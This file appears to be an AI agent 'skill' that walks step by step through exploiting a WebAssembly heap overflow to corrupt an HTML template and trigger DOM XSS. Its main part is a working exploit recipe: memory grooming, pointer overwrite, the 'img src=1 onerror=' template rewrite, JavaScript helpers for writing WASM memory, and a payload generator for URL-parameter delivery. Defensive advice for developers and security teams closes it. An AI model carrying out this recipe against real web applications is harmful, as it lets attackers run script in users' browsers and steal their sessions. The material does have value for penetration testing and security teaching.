Hacktricks-skills wasm-memory-corruption-xss
Exploit WebAssembly linear memory corruption to bypass XSS filters and achieve DOM XSS. Use this skill whenever the user mentions WebAssembly, WASM, Emscripten, linear memory corruption, memory overflow, heap corruption, XSS bypass, or any scenario where a web app uses WASM modules and sanitization might be bypassed through memory manipulation. This is especially relevant when investigating Emscripten-compiled applications with user-controlled data that gets rendered to the DOM.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss/SKILL.MDWebAssembly Linear Memory Corruption to DOM XSS
This skill guides you through exploiting memory corruption vulnerabilities in WebAssembly modules to bypass XSS filters. The core technique corrupts writable constants in WASM linear memory (like HTML templates) instead of attacking sanitized input directly.
When to Use This Skill
Use this skill when:
- Investigating web applications that use WebAssembly modules (especially Emscripten-compiled)
- XSS filters are in place but you suspect memory corruption vulnerabilities
- You need to understand WASM memory layout and exploitation techniques
- Debugging WASM applications in Chrome DevTools
- Analyzing Emscripten glue code and Module.cwrap calls
Core Concept
In WebAssembly:
- Code lives in non-writable executable pages
- Data (heap, stack, globals, "constants") lives in writable linear memory (64KB pages)
- Buggy C/C++ code can write out-of-bounds and overwrite adjacent objects
- If a constant string used for HTML templating is corrupted, sanitized input becomes executable JavaScript
Vulnerability Pattern
Typical Data Model
typedef struct msg { char *msg_data; // pointer to message bytes size_t msg_data_len; // length after sanitization int msg_time; // timestamp int msg_status; // flags } msg; typedef struct stuff { msg *mess; // dynamic array of msg size_t size; // used size_t capacity; // allocated } stuff; // global chat state in linear memory
Vulnerable Logic
: Allocates buffer sized to sanitized input, appends to array, doubles capacity withaddMsg()
when neededrealloc()
: Re-sanitizes andeditMsg()
s new bytes without checking if new length ≤ old allocation → heap overflowmemcpy()
: Formats sanitized text with a template string in linear memory, returns HTML to DOM sinkpopulateMsgHTML()
Exploitation Workflow
Step 1: Reconnaissance
- Identify WASM usage: Look for
files,.wasm
calls, Emscripten glue codeModule.cwrap - Find memory corruption primitives: Heap overflow, UAF, unchecked
, buffer overflowsmemcpy - Locate HTML templates: Search for format strings like
in linear memory<article><p>%.*s</p></article>
Step 2: Chrome DevTools Setup
// Break on first Module.cwrap call and step into WASM call site // Capture pointer arguments (numeric offsets into linear memory) // Use typed views to read/write WASM memory Module.HEAPU8[ptr] // Read/write single byte Module.HEAPU8.subarray(ptr, ptr + len) // Read byte range
Step 3: Memory Grooming
Send enough messages to trigger
realloc() and ensure the message array (s->mess) is adjacent to user buffers in linear memory:
// Add N small messages to exceed initial capacity // After growth, realloc() often places s->mess immediately after the last user buffer
Step 4: Overflow and Pointer Corruption
Overflow the last message via
editMsg() with a longer payload to overwrite entries in s->mess:
// Set msg_data of message 0 to point at (stub_addr + 1) // The +1 skips the leading '<' to keep tag alignment intact
Step 5: Template Rewrite
Edit message 0 so its bytes overwrite the HTML template:
// Original: "<article><p>%.*s</p></article>" // Overwrite with: "img src=1 onerror=%.*s "
Step 6: Trigger XSS
Add a new message with JavaScript content:
// Content: "alert(1337)" // Result: <img src=1 onerror=alert(1337)> executes immediately
Helper Functions
Memory Search
function searchWasmMemory(str) { const mem = Module.HEAPU8; const pat = new TextEncoder().encode(str); for (let i = 0; i < mem.length - pat.length; i++) { let ok = true; for (let j = 0; j < pat.length; j++) { if (mem[i + j] !== pat[j]) { ok = false; break; } } if (ok) console.log(`Found "${str}" at memory address:`, i); } return -1; }
Byte Manipulation
function writeBytes(ptr, byteArray) { if (!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); for (let i = 0; i < byteArray.length; i++) { const byte = byteArray[i]; if (typeof byte !== "number" || byte < 0 || byte > 255) { throw new Error(`Invalid byte at index ${i}: ${byte}`); } HEAPU8[ptr + i] = byte; } } function readBytes(ptr, len) { return Array.from(HEAPU8.subarray(ptr, ptr + len)); } function readBytesAsChars(ptr, len) { const bytes = HEAPU8.subarray(ptr, ptr + len); return Array.from(bytes).map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.').join(''); } // Little-endian bytes to int const bytesToInt = (bytes) => bytes.reduce((acc, b, i) => acc + (b << (8 * i)), 0);
Exploit Payload Generation
Use the
generate-exploit-payload.py script to create serialized action lists:
python scripts/generate-exploit-payload.py \ --groom-count 11 \ --overflow-msg-id 10 \ --template-addr 0x12345 \ --xss-payload "alert(1337)"
This generates a JSON action list that can be Base64-encoded and placed in URL parameters.
Defensive Guidance
For Developers
- Validate lengths in edit paths: Verify new length ≤ capacity; resize buffers before copy
- Use size-bounded APIs:
,snprintf
,strlcpy
with explicit boundsmemcpy - Keep templates immutable: Store HTML templates in read-only memory or integrity-check before use
- Treat JS↔WASM boundaries as untrusted: Validate pointer ranges/lengths, fuzz exported interfaces
- Sanitize at the sink: Avoid building HTML in WASM; prefer safe DOM APIs over
innerHTML - Cap memory growth: Limit WASM memory expansion to prevent excessive allocation
For Security Teams
- Fuzz WASM interfaces: Test exported functions with malformed inputs
- Monitor memory patterns: Look for unusual
sequences or pointer valuesrealloc() - Code review WASM glue: Check Emscripten bindings for unsafe patterns
- Use memory-safe languages: Consider Rust or other memory-safe alternatives for WASM modules
Common WASM Pitfalls
- Out-of-bounds writes/reads in linear memory
- Use-after-free on heap objects
- Function-table misuse with unchecked indirect call indices
- JS↔WASM glue mismatches (type confusion, pointer arithmetic errors)
- Unchecked
/memcpy
operationsmemmove - Integer overflow in size calculations